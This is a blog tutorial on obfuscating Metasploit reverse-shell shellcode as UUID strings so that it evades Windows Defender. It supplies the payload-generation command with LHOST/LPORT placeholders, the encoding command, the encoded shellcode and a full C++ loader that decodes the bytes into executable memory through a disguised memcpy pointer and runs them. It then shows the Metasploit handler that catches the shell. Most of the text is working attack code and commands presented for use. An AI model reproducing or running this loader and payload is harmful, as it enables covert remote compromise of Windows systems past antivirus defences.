Obfuscation: Disguise shellcode as UUIDs
In the last blog post we dealt with the development of a calc.exe shellcode. The injection method that I used for testing was immediately blocked by Windows Defender. I therefore had to adapt the loader and shellcode accordingly.
I came up with the idea of converting the opcodes into a string array, which is filled with UUIDs is filled. These then have to be converted back into bytes before injection. To do this, I wrote an encoder and decoder that does exactly this.
Tools
The encoder is part of my shellcode tool ShenCode, which is available as open source.
Step1: Prepare shellcode
generate
We create a payload without further encryption or encoding. This is usually recognised by Windows Defender.
python shencode.py create -c="-p windows/x64/shell/reverse_tcp LHOST=IPADDRESS LPORT=PORT -f raw -o shell_rev.raw"
encode
We now encode this payload as UUID strings.
python shencode.py encode -f shell_rev.raw -u
The output now looks something like this:
[*] try to open file [+] reading 240906.001 successful! [*] try to generate UUIDs std::vector<std::string> sID = { "fce88f00-0000-6031-d264-8b523089e58b", "520c8b52-148b-7228-0fb7-4a2631ff31c0", "ac3c617c-022c-20c1-cf0d-01c74975ef52", "578b5210-8b42-3c01-d08b-407885c0744c", ... "c85fffd5-83f8-007d-2858-68004000006a", "0050680b-2f0f-30ff-d557-68756e4d61ff", "d55e5eff-0c24-0f85-70ff-ffffe99bffff", "ff01c329-c675-c1c3-bbf0-b5a2566a0053", "ffd5" }; [+] DONE!
Step 2: Write Inject.cpp
Header
obfuscated shellcode
We create a new C++ project and adopt the obfuscated string array that we created previously.
#include <stdio.h> #include <windows.h> #include <iostream> #include <sstream> #include <vector> #include <iomanip> #pragma warning std::vector<std::string> sID = { "fce88f00-0000-6031-d264-8b523089e58b", "520c8b52-148b-7228-0fb7-4a2631ff31c0", "ac3c617c-022c-20c1-cf0d-01c74975ef52", "578b5210-8b42-3c01-d08b-407885c0744c", ... "c85fffd5-83f8-007d-2858-68004000006a", "0050680b-2f0f-30ff-d557-68756e4d61ff", "d55e5eff-0c24-0f85-70ff-ffffe99bffff", "ff01c329-c675-c1c3-bbf0-b5a2566a0053", "ffd5" };
Encoding and injection
Remove superfluous characters
Firstly, we need a function to remove the -
characters. We pass a string to this function, which is then cleaned up.
void removeDashes(std::string& str) { str.erase(std::remove(str.begin(), str.end(), '-'), str.end()); }
Convert strings to bytes
The next function converts the UUID strings into executable bytes. The string array is run through piece by piece:
- Remove from
-
- Read 2 characters and return them as bytes
- When the string array has been run through, return the generated byte array to the caller
std::vector<uint8_t> convertToBytes(const std::vector<std::string>& inputStrings) { std::vector<uint8_t> byteArray; for (const auto& str : inputStrings) { std::string cleanStr = str; removeDashes(cleanStr); for (size_t i = 0; i < cleanStr.length(); i += 2) { if (i + 1 < cleanStr.length()) { std::string byteString = cleanStr.substr(i, 2); uint8_t byte = static_cast<uint8_t>(std::stoi(byteString, nullptr, 16)); byteArray.push_back(byte); } } } return byteArray; }
Main programme
The main program initialises the variables, calls the conversion function, outputs the bytes to the console and then executes the injection.
To disguise this process somewhat, the function memcpy
is not called directly, but linked to our own function via a pointer.
int main() { std::vector<std::string> input = sID; std::vector<uint8_t> result = convertToBytes(input); unsigned char* Payload = reinterpret_cast<unsigned char*>(result.data()); size_t byteArrayLength = result.size(); std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std::endl; for (size_t i = 0; i < byteArrayLength; ++i) { std::cout << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(Payload[i]) << " "; if ((i + 1) % 8 == 0) { std::cout << std::endl; } } void* (*memcpyPtr) (void*, const void*, size_t); void* exec = VirtualAlloc(0, byteArrayLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpyPtr = &memcpy; memcpyPtr(exec, Payload, byteArrayLength); ((void(*)())exec)(); return 0; }
Step 3: Test functionality
Metasploit handler
We start a Metasploit handler on the attack system to receive the reverse shell:
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > run -p windows/x64/shell/reverse_tcp lhost=0.0.0.0 lport=15666 [*] Started reverse TCP handler on 0.0.0.0:15666
Compile Inject.cpp
We then compile our Inject.cpp as a 64-bit programme. We then copy this to the victim system. After the copying process, the file is not recognised. We scan it once manually with Windows Defender.
This also looks good.
Execute
We now execute the file and wait for the result.
Unfortunately, nothing happens at this point except waiting. A look at the shellcode also immediately reveals why this is the case:
"c85fffd5-83f8-007d-2858-68004000006a",
We have generated a raw payload from metasploit. This contains a lot of null bytes and these prevent correct execution. This was quite annoying as my first tests went through.
I repeated the whole process with metasploit's internal XOR encoder and defined null bytes as bad characters. This allowed me to spawn the shell, but the XOR decoder is detected in memory and Windows Defender sounds an alarm.
Conclusion
The UUID obfuscation works and protects the file when accessing the hard drive. After execution, memory protection is required to prevent detection. I will show this in the next part.
Discussion